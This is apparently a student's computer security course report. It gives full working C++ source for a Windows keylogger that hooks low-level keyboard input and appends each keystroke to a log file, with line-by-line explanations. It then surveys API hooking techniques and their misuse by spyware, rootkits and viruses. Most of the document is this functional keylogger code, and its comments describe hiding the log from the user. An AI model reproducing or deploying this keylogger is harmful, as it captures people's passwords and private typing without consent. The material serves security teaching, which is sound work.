Intro. to Computer Security Project 2

Key Logger

Source Code Explanation

```
// Need this to have VK_OEM_* defined
#define _WIN32_WINNT    0x0501
#include <windows.h>
#include <winuser.h>
#include <cstdio>
#define STUDENT_ID      "0000000"
using namespace std;
```

In this section, we include the necessary header files for key logger.
windows.h must be included for winuser.h to work.
winuser.h is virtual key definitions, key related functions and API hooking.
cstdio is for standard I/O.

_WIN32_WINNT controls the version of header to use, and 0x501 means XP.

```
bool isShiftDown()
{
    // the most significant bit is set if the key is down
    return GetAsyncKeyState(VK_SHIFT) & 0x8000;
}
```

Shift key must be detected to gain the correct symbol or correct case of letters to be logged. **GetAsyncKeyState** can be used to get the current key state. Because the hook procedure gets called almost immediately after the key is pressed, the status we get is fairly accurate.

```
bool isLowerCase()
{
    // the least significant bit is set if the key is toggled
    bool caps = (GetKeyState(VK_CAPITAL) & 0x0001) == 0x0001;
    bool sht = isShiftDown();
    return (caps && sht) || (!caps && !sht);
}
```

We use the state of shift key and caps lock to decide the correct case of letters.
GetKeyState can be used to check if the key is toggled.

```
char getKey(DWORD);
LRESULT WINAPI Handle(int code, WPARAM w, LPARAM l)
{
    // capture the event `key pressed down'
    if (w == WM_KEYDOWN) {
        KBDLLHOOKSTRUCT* kbhook = (KBDLLHOOKSTRUCT *) l;
        char key = getKey(kbhook->vkCode);
        if (key) {
            printf("%c", key);
            FILE *log_file = fopen("C:\\" STUDENT_ID ".txt", "a+");
            // only save when the file was opened successfully
            if (log_file) {
                fputc(key, log_file);
                // close it immediately since we cannot guarantee normal exit
                fclose(log_file);
            }
        }
    }
    return CallNextHookEx(NULL, code, w, l);
}
```

This is the hook procedure that gets called when a key is pressed. It checks whether the incoming event is a key pressing event and only process it when matched. It uses subroutine **getKey()** to get the correct character of a given virtual key. **getKey()** returns zero if the key is non-printable. When a character is detected, it prints it on the screen and save it to the secret log file. Since a user may force our program to exit if he finds out what we are doing, we flush the buffer and close the file immediately.

It then passes the event to the next procedure in the hook chain. Notice that we don't check if `**code**' is zero because we want to record everything under any circumstances.

```
int main()
{
    HHOOK hMouseHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)Handle,
GetModuleHandle(NULL), 0);
```

SetWindowsHookEx can be used to hook user-defined procedures to specific events. We use **WH_KEYBOARD_LL** to hook to low-level keyboard input events. The second and third parameters are the handle to the hook procedure and the module that contains the procedure, respectively. When **GetModuleHandle** is called with NULL, it returns the handle to the image of the current program. The last '0' associates the hook procedure with all programs in the same desktop.

```
    MSG msg;
    // print something to tease the user
    printf("Haha! You've started a Keylogger!!!\n"
            "Let's see what you have typed!!\n"
            "(Do you really believe I won't save it somewhere else!?):\n"
            "------------ (press ctrl+shift+alt+w to exit) ------------\n\n");

    // register ctrl+w
    if (RegisterHotKey(NULL, 1, MOD_CONTROL | MOD_SHIFT | MOD_ALT, 'W') == 0) {
        printf("hot key registration failed!.\n\n");
    }
```

We register CTRL+SHIFT+ALT+W as a hot key so we have a way to terminate the key logger. The first NULL parameter causes the event to be posted to the message queue so we can handle it using the following loop.

```
    // dequeue the message queue
    while (GetMessage(&msg, NULL, 0, 0) != 0) {
        // exit the keylogger when ctrl+w is pressed
        if (msg.message == WM_HOTKEY) {
            UnhookWindowsHookEx(hMouseHook);
            return 0;
        }
        // Translates virtual-key messages into character messages.
        TranslateMessage(&msg);
        // Dispatches a message to a window procedure.
        DispatchMessage(&msg);
    }
```

This is the message loop that most Windows GUI-based programs may use. (See http://en.wikipedia.org/wiki/Message_loop_in_Microsoft_Windows). It dequeues the queue to get and process messages posted to the program. We use this loop to capture the HOTKEY message and terminate the program appropriately.

```
    return 0;
}
```

Finally, the following is our **getKey()** subroutine that translate virtual key code to the actual character. It translates directly when there is a one-to-one mapping. It checks the current key states to handle letter case and symbol choice. When a non-printable character is encountered, it returns 0.

```
char getKey(DWORD vkCode)
{
    switch (vkCode) {
        case VK_SPACE:
            return ' ';
        case VK_NUMPAD0:
            return '0';
        case VK_NUMPAD1:
            return '1';
        case VK_NUMPAD2:
            return '2';
        case VK_NUMPAD3:
            return '3';
        case VK_NUMPAD4:
            return '4';
        case VK_NUMPAD5:
            return '5';
        case VK_NUMPAD6:
            return '6';
        case VK_NUMPAD7:
            return '7';
        case VK_NUMPAD8:
            return '8';
        case VK_NUMPAD9:
            return '9';
        case VK_MULTIPLY:
            return '*';
        case VK_ADD:
            return '+';
        case VK_SEPARATOR:
            return ',';
        case VK_SUBTRACT:
            return '-';
        case VK_DECIMAL:
            return '.';
        case VK_DIVIDE:
            return '/';
        default:
            if (vkCode >= '0' && vkCode <= '9') {
                // if 1~9 is pressed, check shift key
                const char syms[11] = ")!@#$%^&*(";
                if (isShiftDown()) {
                    return syms[vkCode-'0'];
                } else {
                    return vkCode;
                }
            } else if (vkCode >= 'A' && vkCode <= 'Z') {
                // check case if A~Z is pressed
                if (isLowerCase()) {
                    return vkCode-'A'+'a';
                } else {
                    return vkCode;
                }
            } else {
                // check if it's other symbol
                switch (vkCode) {
                    case VK_OEM_1:
                        return isShiftDown() ? ':' : ';';
                    case VK_OEM_PLUS:
                        return isShiftDown() ? '+' : '=';
                    case VK_OEM_COMMA:
                        return isShiftDown() ? '<' : ',';
                    case VK_OEM_MINUS:
                        return isShiftDown() ? '_' : '-';
                    case VK_OEM_PERIOD:
                        return isShiftDown() ? '>' : '.';
                    case VK_OEM_2:
                        return isShiftDown() ? '?' : '/';
                    case VK_OEM_3:
                        return isShiftDown() ? '~' : '`';
                    case VK_OEM_4:
                        return isShiftDown() ? '{' : '[';
                    case VK_OEM_5:
                        return isShiftDown() ? '|' : '\\';
                    case VK_OEM_6:
                        return isShiftDown() ? '}' : ']';
                    case VK_OEM_7:
                        return isShiftDown() ? '"' : '\'';
                    case VK_OEM_102:
                        return isShiftDown() ? '>' : '<';
                }
            }
    }
    // non-printable character
    return 0;
}
```

What Can I Do by API Hooking?

Monitor Program Behavior

We can hook an API so that it prints out the parameters used. Doing so enables us to see exactly how a program calls a given API and when it calls. This can help us debugging and also figuring out if a program has unwanted behaviors.

Monitor User Behavior

We can hook an API to monitor user behavior. Just like this key logger project. We can capture the keys pressed, the moves of the mouse and even what programs and documents are opened. Spywares can transmit these data through the Internet.

Provide Additional Functionality

We can hook an API to make it do more things for us. For example, there is a malloc debug library that replaces the C routines such as **malloc()**, **free()** and **calloc()**. When memory blocks are allocated, it demands more storage than user requested and stores additional debugging information in the additional space. Such library can help us debugging the notorious memory leak problems.

Disable Some Functionality

We can hook an API to make it do fewer things. For example, a rootkit may want to hook to file listing routines so that each time it called, the entry of the rootkit is removed. Doing so enables the rootkit to hide itself from the programs and users.

Make Your Procedure Get Called

We may hook an API simply to enable the hook procedure to get called. This technique can be used by an malware when it doesn't want to be listed on the startup application list. Instead, it hooks itself to an API that is likely to be called by programs so that when it gets called, the malware can be started.

Reference

Hooking
http://en.wikipedia.org/wiki/Hooking
Malloc Debug Library
http://www.hexco.de/rmdebug/index.html

Other Ways to Hook API

Import Table Patching

Programs and modules keep a table referencing the APIs that a given module calls. If we modify this table, changing the address of the functions referenced, we can make the program call our version of API. Our own function can do what we want to do before/after transferring the control to the original API.

Export Table Patching

Modules that can be referenced by other programs have an export table, listing all APIs that can be called. If we modify this table, changing the address of the function referenced, we can make all the subsequent liking with this module to bind to our version of API.

Code Overwriting

We can simply overwriting the binary code of the API being called by injecting a jump instruction to our own version of API. Our function can then transfer the control to the original API. Notice that we should backup the instructions overwritten so that the original functions of the API can still be performed properly.

Wrapper library

We can replace the entire library that a program loads. Doing so replaces all the APIs provided by the library. The wrapper library should provide the same interface and can transfer the control to the original library when appropriate.

Interrupt Vector

On some systems, we can hook an interrupt by modifying interrupt vector. For example, on MS-DOS, by changing the interrupt vector of 21h, we can execute our routine when any programs are about to be loaded. A virus can infect the program about to be executed using the method.

Reference

API Hooking Methods
http://help.madshi.net/ApiHookingMethods.htm
Hooking
http://en.wikipedia.org/wiki/Hooking